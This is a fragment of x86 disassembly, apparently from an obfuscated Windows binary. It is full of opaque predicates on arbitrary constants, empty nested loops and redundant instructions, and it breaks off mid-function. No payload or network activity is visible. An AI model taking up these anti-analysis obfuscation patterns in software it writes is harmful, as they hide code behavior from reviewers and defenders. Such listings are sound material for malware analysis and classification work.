cmp dword [ebp - 0x30], ebx
je 0x1000f9a9
mov ecx, edi
dec dword [ebp - 0x20]
xor edx, edx
mov eax, dword [ebp - 0x14]
cmp eax, ecx
mov dword [ebp - 0x6cc], eax
mov eax, dword [ebp - 0x20]
setl dl
xor ecx, ecx
cmp eax, edx
mov eax, dword [ebp - 0x40]
setge cl
xor edx, edx
cmp ecx, 0xffffffff
push 3
setne dl
xor ecx, ecx
cmp eax, edx
setne cl
imul eax, ecx, 0xffffc25b
lea ecx, [ebp - 0x280]
add dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x2c], 0x83dc0e3e
mov dword [ebp - 0x3c], 0xffffffff
mov dword [ebp - 0x40], 0x607a9881
mov dword [ebp - 0x50], 0xffffffff
call fcn.1001b7ad
mov dword [ebp - 4], 0x1f
lea ecx, [ebp - 0x368]
mov dword [ebp - 0x40], 0xb275cf8b
push edi
call fcn.1001b7ad
mov byte [ebp - 4], 0x20
mov dword [ebp - 0x40], 0xfbf2b83
mov dword [ebp - 0x50], 9
mov dword [ebp - 0x24], ebx
jmp 0x1000fa54
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x280]
mov dword [eax + ecx*4], 7
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 3
jl 0x1000fa41
mov dword [ebp - 0x40], 0x103a
cmp dword [ebp - 0x40], 0x11f3
jle 0x1000fab9
mov eax, ebx
mov dword [ebp - 0x30], ebx
mov esi, ebx
cdq
lea ecx, [ebp - 0x890]
idiv esi
mov eax, edx
cdq
push edx
push eax
call fcn.1000db9a
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1000fa8e
mov eax, dword [eax]
push eax
call fcn.1004de26
pop ecx
push ebx
push edi
lea ecx, [ebp - 0x890]
call fcn.1001bbfd
mov eax, dword [ebp - 0x30]
inc esi
cmp esi, 0x4a8c
jl 0x1000fa71
inc eax
mov dword [ebp - 0x30], eax
cmp eax, 0x1d64
jl 0x1000fa6f
mov dword [ebp - 0x24], ebx
jmp 0x1000face
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x368]
or dword [eax + ecx*4], 0xffffffff
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edi
jl 0x1000fabe
cmp dword [ebp - 0x40], 0xe67
jge 0x1000fae7
push 0x10007984
call fcn.1004de26
pop ecx
mov eax, dword [ebp - 0x3c]
xor edx, edx
mov ecx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
cmp ecx, eax
setle dl
mov dword [ebp - 0x50], edx
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x40], eax
mov ecx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x280]
dec ecx
neg ecx
sbb ecx, ecx
inc ecx
mov dword [eax], edi
imul ecx, dword [ebp - 0x3c]
xor eax, eax
add ecx, dword [ebp - 0x3c]
cmp ecx, 4
setl al
xor ecx, ecx
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x280]
cmp dword [eax], 0xa2a4
mov eax, dword [ebp - 0x368]
setg cl
neg ecx
mov dword [eax], ecx
mov dword [ebp - 0x40], ecx
lea ecx, [ebp - 0x368]
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x50], eax
call fcn.1001b82f
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x280]
call fcn.1001b82f
mov dword [ebp - 0x40], 0x51f6
cmp dword [ebp - 0x40], 0x536b
jle 0x1000fbb6
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov edi, ebx
mov esi, ebx
mov eax, esi
mov ecx, 0x1060c3d8
xor eax, edi
cdq
push edx
push eax
call fcn.1001b57c
inc esi
cmp esi, 0x5bec
jl 0x1000fb90
inc edi
cmp edi, 0x7d4b
jl 0x1000fb8e
xor edi, edi
inc edi
mov dword [ebp - 4], 0x23
cmp dword [ebp - 0x40], 0x4f01
jge 0x1000fbd5
mov edx, 0x100079a8
mov ecx, 0x1060c3d8
call fcn.1001da87
or dword [ebp - 4], 0xffffffff
push 0xfffffffffffffffd
pop esi
mov dword [ebp - 0x3c], ebx
jmp 0x1000fc1d
mov eax, dword [ebp - 0x3c]
mov dword [ebp + eax*4 - 0x6e4], 0x204e2db5
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], 3
jl 0x1000fc0c
mov dword [ebp - 0x3c], ebx
jmp 0x1000fc39